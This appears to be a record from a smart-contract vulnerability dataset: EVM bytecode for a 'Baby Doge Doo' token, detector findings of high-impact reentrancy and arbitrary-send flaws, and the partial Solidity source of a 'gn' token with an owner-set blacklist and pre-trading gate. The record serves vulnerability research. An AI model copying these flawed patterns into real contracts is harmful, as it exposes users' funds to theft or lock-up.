ffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4241424259000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600581526020017f424142425900000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600d81526020017f4261627920446f676520446f6f0000000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122095515edf7c0e2710607f8cfa86d99a2f9d7a69659e476f93bf28e655ce15e9cd64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,376 |
0x9efe296a22930716766c833f83b37159fa893ed2
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract gn is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "gn";
string private constant _symbol = "gn";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xc502b0CC4b892B52124E6efdD33982b2DfBFCD08);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 750000000000 * 10**9; //0.75% of total supply per txn
uint256 public _maxWalletSize = 1500000000000 * 10**9; //1.50% of total supply
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
